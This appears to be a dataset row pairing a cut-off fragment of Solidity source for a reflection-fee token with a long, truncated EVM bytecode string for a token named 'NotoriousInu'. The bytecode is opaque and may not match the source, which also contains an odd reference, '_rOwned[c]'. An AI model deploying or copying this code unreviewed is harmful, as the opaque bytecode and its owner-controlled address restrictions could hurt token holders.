_takeLiquidity(tLiquidity);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender] - tAmount;
_rOwned[sender] = _rOwned[sender] - rAmount;
_tOwned[recipient] = _tOwned[recipient] + tTransferAmount;
_rOwned[recipient] = _rOwned[recipient] + rTransferAmount;
_takeLiquidity(tLiquidity);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender] - rAmount;
_rOwned[recipient] = _rOwned[recipient] + rTransferAmount;
_takeLiquidity(tLiquidity);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeLiquidity(uint256 tLiquidity) private {
uint256 currentRate = _getRate();
uint256 rLiquidity = tLiquidity * currentRate;
_rOwned[c] = _rOwned[c] + rLiquidity;
_tOwned[c] = _tOwned[c] + tLiquidity;
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal - rFee;
_tFeeTotal = _tFeeTotal + tFee;
}
receive() external payable {}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getTValues(tAmount, _taxFee, _LiquidityFee);
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tLiquidity, _getRate());
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tLiquidity);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 LiquidityFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount * taxFee / 100;
uint256 tLiquidity = tAmount * LiquidityFee / 100;
uint256 tTransferAmount = tAmount - tFee - tLiquidity;
return (tTransferAmount, tFee, tLiquidity);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tLiquidity, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount * currentRate;
uint256 rFee = tFee * currentRate;
uint256 rLiquidity = tLiquidity * currentRate;
uint256 rTransferAmount = rAmount - rFee - rLiquidity;
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply / tSupply;
}
function excludeFromReward(address addr) internal {
require(addr != address(uniswapV2Router), 'ERR: Can\'t exclude Uniswap router');
require(!_isExcluded[addr], "Account is already excluded");
if(_rOwned[addr] > 0) {
_tOwned[addr] = tokenFromReflection(_rOwned[addr]);
}
_isExcluded[addr] = true;
_excluded.push(addr);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply - _rOwned[_excluded[i]];
tSupply = tSupply - _tOwned[_excluded[i]];
}
if (rSupply < _rTotal / _tTotal) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
} | 0x6080604052600436106100f75760003560e01c8063715018a61161008a578063b515566a11610059578063b515566a14610325578063c3c8cd801461034e578063c9567bf914610365578063dd62ed3e1461037c576100fe565b8063715018a61461027b5780638da5cb5b1461029257806395d89b41146102bd578063a9059cbb146102e8576100fe565b8063273123b7116100c6578063273123b7146101d3578063313ce567146101fc5780636fc3eaec1461022757806370a082311461023e576100fe565b806306fdde0314610103578063095ea7b31461012e57806318160ddd1461016b57806323b872dd14610196576100fe565b366100fe57005b600080fd5b34801561010f57600080fd5b506101186103b9565b60405161012591906139ef565b60405180910390f35b34801561013a57600080fd5b50610155600480360381019061015091906135dc565b6103f6565b60405161016291906139d4565b60405180910390f35b34801561017757600080fd5b50610180610414565b60405161018d9190613b11565b60405180910390f35b3480156101a257600080fd5b506101bd60048036038101906101b89190613589565b610423565b6040516101ca91906139d4565b60405180910390f35b3480156101df57600080fd5b506101fa60048036038101906101f591906134ef565b6104db565b005b34801561020857600080fd5b506102116105cb565b60405161021e9190613bbd565b60405180910390f35b34801561023357600080fd5b5061023c6105d4565b005b34801561024a57600080fd5b50610265600480360381019061026091906134ef565b61061e565b6040516102729190613b11565b60405180910390f35b34801561028757600080fd5b50610290610709565b005b34801561029e57600080fd5b506102a761085c565b6040516102b49190613906565b60405180910390f35b3480156102c957600080fd5b506102d2610885565b6040516102df91906139ef565b60405180910390f35b3480156102f457600080fd5b5061030f600480360381019061030a91906135dc565b6108c2565b60405161031c91906139d4565b60405180910390f35b34801561033157600080fd5b5061034c6004803603810190610347919061361c565b6108e0565b005b34801561035a57600080fd5b50610363610a0a565b005b34801561037157600080fd5b5061037a610a45565b005b34801561038857600080fd5b506103a3600480360381019061039e9190613549565b6110d2565b6040516103b09190613b11565b60405180910390f35b60606040518060400160405280600c81526020017f4e6f746f72696f7573496e750000000000000000000000000000000000000000815250905090565b600061040a610403611159565b8484611161565b6001905092915050565b600066038d7ea4c68000905090565b600061043084848461132c565b6104d08461043c611159565b84600360008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610486611159565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546104cb9190613d5f565b611161565b600190509392505050565b6104e3611159565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610570576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161056790613a51565b60405180910390fd5b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b6000600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1631905061061b81611cf8565b50565b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156106b957600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050610704565b610701600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d64565b90505b919050565b610711611159565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461079e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161079590613a51565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600681526020017f4e4f54494e550000000000000000000000000000000000000000000000000000815250905090565b60006108d66108cf611159565b848461132c565b6001905092915050565b6108e8611159565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610975576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161096c90613a51565b60405180910390fd5b60005b8151811015610a065760016004600084848151811061099a57610999613f4a565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080806109fe90613e72565b915050610978565b5050565b6000610a37600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1661061e565b9050610a4281611dcb565b50565b610a4d611159565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ada576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ad190613a51565b60405180910390fd5b6012600a9054906101000a900460ff1615610b2a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b2190613ad1565b60405180910390fd5b737a250d5630b4cf539739df2c5dacb4c659f2488d600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610be757600080fd5b505afa158015610bfb573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c1f919061351c565b600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610cb0600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600019611161565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610d1857600080fd5b505afa158015610d2c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d50919061351c565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166040518363ffffffff1660e01b8152600401610dce929190613921565b602060405180830381600087803b158015610de857600080fd5b505af1158015610dfc573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e20919061351c565b600c60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1631600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610f26600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1661061e565b600080610f3161085c565b426040518863ffffffff1660e01b8152600401610f5396959493929190613973565b6060604051808303818588803b158015610f6c57600080fd5b505af1158015610f80573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610fa59190613692565b5050506064601260086101000a81548161ffff021916908361ffff160217905550600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166000196040518363ffffffff1660e01b815260040161104792919061394a565b602060405180830381600087803b15801561106157600080fd5b505af1158015611075573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110999190613665565b5060016012600a6101000a81548160ff02191690831515021790555060016012600c6101000a81548160ff021916908315150217905550565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156111d1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111c890613ab1565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611241576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161123890613a31565b60405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161131f9190613b11565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561139c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161139390613a91565b60405180910390fd5b600081116113df576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113d690613a71565b60405180910390fd5b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156114835750600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b61148c57600080fd5b611494612006565b61149c61085c565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561150a57506114da61085c565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b801561152257506012600a9054906101000a900460ff165b15611c1e576012600b9054906101000a900460ff16611754573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156115a357503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156115fd5750600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156116575750600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561175357600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661169d611159565b73ffffffffffffffffffffffffffffffffffffffff1614806117135750600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166116fb611159565b73ffffffffffffffffffffffffffffffffffffffff16145b611752576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161174990613af1565b60405180910390fd5b5b5b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156117ff5750600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156118555750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b801561186e57506012600b9054906101000a900460ff16155b1561192b576064601260009054906101000a900467ffffffffffffffff1667ffffffffffffffff1610156118dd576103e8601260089054906101000a900461ffff1661ffff1666038d7ea4c680006118c69190613d05565b6118d09190613cd4565b8111156118dc57600080fd5b5b6012600081819054906101000a900467ffffffffffffffff168092919061190390613ebb565b91906101000a81548167ffffffffffffffff021916908367ffffffffffffffff160217905550505b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161480156119d65750600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611a2c5750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611a4557506012600b9054906101000a900460ff16155b15611ae6576012600c9054906101000a900460ff1615611ae5576000611a8c600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1661061e565b90506127106001611abe600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1661061e565b611ac89190613d05565b611ad29190613cd4565b811115611ae357611ae281612018565b5b505b5b6012600b9054906101000a900460ff16611c1d57600a601260009054906101000a900467ffffffffffffffff1667ffffffffffffffff161415611b42576078601260086101000a81548161ffff021916908361ffff1602179055505b6019601260009054906101000a900467ffffffffffffffff1667ffffffffffffffff161415611b8a576096601260086101000a81548161ffff021916908361ffff1602179055505b6023601260009054906101000a900467ffffffffffffffff1667ffffffffffffffff161415611bd35761012c601260086101000a81548161ffff021916908361ffff1602179055505b6028601260009054906101000a900467ffffffffffffffff1667ffffffffffffffff161415611c1c576103e8601260086101000a81548161ffff021916908361ffff1602179055505b5b5b600060019050600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611cc55750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b80611cdc57506012600b9054906101000a900460ff165b15611ce657600090505b611cf28484848461212e565b50505050565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611d60573d6000803e3d6000fd5b5050565b6000600e54821115611dab576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611da290613a11565b60405180910390fd5b6000611db5612377565b90508083611dc39190613cd4565b915050919050565b6000600267ffffffffffffffff811115611de857611de7613f79565b5b604051908082528060200260200182016040528015611e165781602001602082028036833780820191505090505b509050600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681600081518110611e5057611e4f613f4a565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681600181518110611ec157611ec0613f4a565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611f4a600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611161565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac94783600084600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16426040518663ffffffff1660e01b8152600401611fd0959493929190613b2c565b600060405180830381600087803b158015611fea57600080fd5b505af1158015611ffe573d6000803e3d6000fd5b505050505050565b6000601081905550600a601181905550565b60016012600b6101000a81548160ff02191690831515021790555060006005826120429190613cd4565b9050600081836120529190613d5f565b905061205d81611dcb565b60006005600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16316120a59190613cd4565b90506120bc6004826120b79190613d05565b611cf8565b6120c6838261239b565b7f17bbfb9a6069321b6ded73bd96327c9e6b7212a5cd51ff219cd61370acafb561826004836120f59190613d05565b8560405161210593929190613b86565b60405180910390a150505060006012600b6101000a81548160ff02191690831515021790555050565b8061213c5761213b6124d3565b5b600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680156121df5750600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156121f4576121ef8484846124e5565b612371565b600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156122975750600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156122ac576122a7848484612730565b612370565b600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16801561234e5750600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156123635761235e84848461297b565b61236f565b61236e848484612c54565b5b5b5b50505050565b6000806000612384612e11565b9150915080826123949190613cd4565b9250505090565b6123ea600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611161565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71982600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168560008061245861085c565b426040518863ffffffff1660e01b815260040161247a96959493929190613973565b6060604051808303818588803b15801561249357600080fd5b505af11580156124a7573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906124cc9190613692565b5050505050565b60006010819055506000601181905550565b6000806000806000806124f7876130c3565b95509550955095509550955086600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461254e9190613d5f565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555085600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546125dc9190613d5f565b600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555084600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461266a9190613c7e565b600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506126b681613125565b6126c084836132ea565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161271d9190613b11565b60405180910390a3505050505050505050565b600080600080600080612742876130c3565b95509550955095509550955085600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546127999190613d5f565b600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555082600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546128279190613c7e565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555084600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546128b59190613c7e565b600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061290181613125565b61290b84836132ea565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516129689190613b11565b60405180910390a3505050505050505050565b60008060008060008061298d876130c3565b95509550955095509550955086600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546129e49190613d5f565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555085600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612a729190613d5f565b600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555082600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612b009190613c7e565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555084600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612b8e9190613c7e565b600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612bda81613125565b612be484836132ea565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051612c419190613b11565b60405180910390a3505050505050505050565b600080600080600080612c66876130c3565b95509550955095509550955085600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612cbd9190613d5f565b600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555084600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612d4b9190613c7e565b600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612d9781613125565b612da184836132ea565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051612dfe9190613b11565b60405180910390a3505050505050505050565b6000806000600e549050600066038d7ea4c68000905060005b60098054905081101561308357826001600060098481548110612e5057612e4f613f4a565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541180612f3e5750816002600060098481548110612ed657612ed5613f4a565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b15612f5a57600e5466038d7ea4c68000945094505050506130bf565b6001600060098381548110612f7257612f71613f4a565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483612fe39190613d5f565b92506002600060098381548110612ffd57612ffc613f4a565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548261306e9190613d5f565b9150808061307b90613e72565b915050612e2a565b5066038d7ea4c68000600e546130999190613cd4565b8210156130b657600e5466038d7ea4c680009350935050506130bf565b81819350935050505b9091565b60008060008060008060008060006130e08a601054601154613316565b92509250925060008060006130fe8d86866130f9612377565b613382565b9250925092508282828888889b509b509b509b509b509b5050505050505091939550919395565b600061312f612377565b90506000818361313f9190613d05565b90508060016000600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546131ae9190613c7e565b60016000600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508260026000600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546132809190613c7e565b60026000600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b81600e546132f89190613d5f565b600e8190555080600f5461330c9190613c7e565b600f819055505050565b6000806000806064868861332a9190613d05565b6133349190613cd4565b90506000606486896133469190613d05565b6133509190613cd4565b9050600081838a6133619190613d5f565b61336b9190613d5f565b905080838395509550955050505093509350939050565b60008060008084886133949190613d05565b9050600085886133a49190613d05565b9050600086886133b49190613d05565b905060008183856133c59190613d5f565b6133cf9190613d5f565b9050838184965096509650505050509450945094915050565b60006133fb6133f684613bfd565b613bd8565b9050808382526020820190508285602086028201111561341e5761341d613fad565b5b60005b8581101561344e57816134348882613458565b845260208401935060208301925050600181019050613421565b5050509392505050565b600081359050613467816141d3565b92915050565b60008151905061347c816141d3565b92915050565b600082601f83011261349757613496613fa8565b5b81356134a78482602086016133e8565b91505092915050565b6000815190506134bf816141ea565b92915050565b6000813590506134d481614201565b92915050565b6000815190506134e981614201565b92915050565b60006020828403121561350557613504613fb7565b5b600061351384828501613458565b91505092915050565b60006020828403121561353257613531613fb7565b5b60006135408482850161346d565b91505092915050565b600080604083850312156135605761355f613fb7565b5b600061356e85828601613458565b925050602061357f85828601613458565b9150509250929050565b6000806000606084860312156135a2576135a1613fb7565b5b60006135b086828701613458565b93505060206135c186828701613458565b92505060406135d2868287016134c5565b9150509250925092565b600080604083850312156135f3576135f2613fb7565b5b600061360185828601613458565b9250506020613612858286016134c5565b9150509250929050565b60006020828403121561363257613631613fb7565b5b600082013567ffffffffffffffff8111156136505761364f613fb2565b5b61365c84828501613482565b91505092915050565b60006020828403121561367b5761367a613fb7565b5b6000613689848285016134b0565b91505092915050565b6000806000606084860312156136ab576136aa613fb7565b5b60006136b9868287016134da565b93505060206136ca868287016134da565b92505060406136db868287016134da565b9150509250925092565b60006136f183836136fd565b60208301905092915050565b61370681613d93565b82525050565b61371581613d93565b82525050565b600061372682613c39565b6137308185613c5c565b935061373b83613c29565b8060005b8381101561376c57815161375388826136e5565b975061375e83613c4f565b92505060018101905061373f565b5085935050505092915050565b61378281613da5565b82525050565b61379181613dfc565b82525050565b60006137a282613c44565b6137ac8185613c6d565b93506137bc818560208601613e0e565b6137c581613fbc565b840191505092915050565b60006137dd602a83613c6d565b91506137e882613fcd565b604082019050919050565b6000613800602283613c6d565b915061380b8261401c565b6040820190509